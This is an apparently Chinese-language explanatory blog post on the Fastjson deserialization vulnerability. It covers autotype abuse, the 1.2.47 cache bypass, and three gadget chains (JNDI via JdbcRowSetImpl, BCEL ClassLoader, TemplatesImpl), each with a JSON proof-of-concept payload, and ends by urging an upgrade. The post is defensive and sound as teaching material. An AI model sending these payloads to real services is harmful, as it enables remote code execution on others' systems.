1. 程式人生 > >Fastjson反序列化漏洞概述

Fastjson反序列化漏洞概述

Fastjson反序列化漏洞概述

背景

在推動Fastjson元件升級的過程中遇到一些問題,為幫助業務同學理解漏洞危害,下文將從整體上對其漏洞原理及利用方式做歸納總結,主要是一些概述性和原理上的東西。

漏洞原理

多個版本的Fastjson元件在反序列化不可信資料時會導致程式碼執行。究其原因,首先,Fastjson提供了autotype功能,允許使用者在反序列化資料中通過“@type”指定反序列化的型別,其次,Fastjson自定義的反序列化機制時會呼叫指定類中的setter方法及部分getter方法,那麼當元件開啟了autotype功能並且反序列化不可信資料時,攻擊者可以構造資料,使目標應用的程式碼執行流程進入特定類的特定setter或者getter方法中,若指定類的指定方法中有可被惡意利用的邏輯(也就是通常所指的“Gadget”),則會造成一些嚴重的安全問題。

那麼不開啟autotype功能就安全了嗎?

不是的,在Fastjson 1.2.47及以下版本中,利用其快取機制可實現對未開啟autotype功能的繞過,繞過細節可參考(https://www.anquanke.com/post/id/181874),程式碼驗證邏輯的問題,不再贅述。

利用方式

那麼Fastjson反序列化不可信資料時是如何導致程式碼執行的呢?這就是漏洞原理一節中所說的可被惡意利用的邏輯,目前公開的、攻擊者使用廣泛的Gadget無外乎有這麼幾種,下面會具體解釋下指定setter或getter方法中可被惡意利用的程式碼邏輯:

基於JNDI注入

JNDI即Java Naming and Directory Interface,Java命名和目錄介面,JNDI提供了很多實現方式,主要有RMI,LDAP,CORBA等。JNDI提供了一個統一的外部介面,底層服務實現是多樣的。

以RMI為例,RMI Registry有Name到物件的對映關係,應用通過java.rmi.naming#lookup方法向Registry發出查詢請求,得到對映關係,再連線RMI Server實現遠端方法呼叫。

如果說其lookup方法的引數是我們可以控制的,可以將其引數指向我們控制的Registry,那我們可以在Registry繫結一個指向遠端類的Reference物件(當物件為Reference型別的時候,應用會載入遠端類並例項化),遠端類的靜態程式碼塊及構造方法均可控,從而導致任意程式碼執行。

下面以com.sun.rowset.JdbcRowSetImpl類為例具體解釋下,

基於類com.sun.rowset.JdbcRowSetImpl的POC如下:

{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://localhost:1097/Object",
  "autoCommit":true
}

Fastjson在反序列化的時候,會使用asm來構造物件,然後呼叫物件的setter方法。在解析上述json字串時,首先構造JdbcRowSetImpl物件,然後呼叫setDataSourceName方法和setAutoCommit方法為物件賦值,在呼叫setAutoCommit方法時,會通過connect方法呼叫lookup方法向Registry發出查詢請求,而Registry的地址正是dataSourceName的值,這就導致了lookup方法引數可控,進而我們可以通過自定義Registry實現進一步漏洞利用。

connect方法程式碼:

    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

類似的,除com.sun.rowset.JdbcRowSetImpl外,還有org.springframework.jndi.support.SimpleJndiBeanFactory、com.mchange.v2.c3p0.JndiRefForwardingDataSource、org.apache.ibatis.datasource.jndi.JndiDataSourceFactory、org.hibernate.jmx.StatisticsService等等都可以成為“Gadget”中的一環,基於JNDI注入實現程式碼執行。Java類庫何其多,JDK中的、第三方的,未來也一定會出現更多的可被惡意利用的類庫。

值得一提的是,在高版本的JDK中做了對JNDI注入類攻擊的防護,主要是通過限制遠端類的載入實現,具體細節可以參考我的這篇文章https://www.cnblogs.com/Welk1n/p/11066397.html,其中有比較詳細的防護原理以及某些條件下的防護繞過說明。

基於ClassLoader

POC如下:

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassLoader" :
  {
    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$···省略···bb$C$A$A"
}

首先看一下com.sun.org.apache.bcel.internal.util.ClassLoader這個類載入器的載入機制,java、javax和sun這三個包下的類會通過系統類載入器進行載入,然後當遇到一些特殊的類名,class_name以$$BCEL$$開頭的類,會呼叫createClass方法去解析class_name,在createClass方法中會將$$BCEL$$之後的字元解碼成位元組陣列,並將這個BCEL編碼後的類載入到虛擬機器中。換言之,我們可以構造className為一個特殊的字串時,通過這個類載入器來實現對自定義類的載入。

  protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

那麼,當Fastjson反序列化org.apache.tomcat.dbcp.dbcp.BasicDataSource物件時,首先通過setter方法設定其driverClassLoader和driverClassName屬性,然後會呼叫其getConnection方法,又最終呼叫了createConnectionFactory方法,其通過Class.forName方法用driverClassLoader載入driverClassName,並設定是否初始化引數為true。forName方法實際最終呼叫了C實現的Native型別的方法,分析C原始碼可知,其底層的載入邏輯仍是呼叫類載入器的loadClass方法載入自定義類,有興趣的朋友可以自己去分析下JVM層面的實現,這兒不再展開,瞭解即可。

driverClassLoader和driverClassName都是json傳入,外部可控,那麼若將driverClassLoader設定為com.sun.org.apache.bcel.internal.util.ClassLoader,driverClassName設定為經BCEL編碼後的自定義類,那麼就實現了在反序列化時載入自定義類的目的。於是攻擊者可以在static程式碼塊中編寫惡意程式碼,將其進行BCEL編碼,在類初始化時實現惡意程式碼執行。

基於TemplatesImpl

POC如下:

{
  "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes":["yv66vgAAADM ··· 省略 ··· CAB0="],
  '_name':'a.b',
  '_tfactory':{ },
  "_outputProperties":{ }
}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl這個類有個比較特殊的能力,可以解析然後載入例項化_bytecodes變數中的字元陣列,_bytecodes的值是可控的,所以攻擊者只要構造惡意類對應的字元陣列,然後通過getOutputProperties方法觸發惡意類的載入及例項化,同樣實現了遠端程式碼執行的效果。

一些具體的細節可以參考這兩篇文章:

  1. http://xxlegend.com/2017/05/03/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
  2. https://paper.seebug.org/636/

不過此種利用方式需要在解析json串時設定Feature.SupportNonPublicField,而業務同學在使用fastjson時往往會直接按照預設引數呼叫parseObject方法,所以略為雞肋。

建議

可以看到上面幾種Gadget都能用來攻擊使用Fastjson的應用,實現程式碼執行,相對來說第一種方式殺傷力更強一些。所以還請務必將元件升級到最新版本,來避免攻擊者對此漏洞的攻擊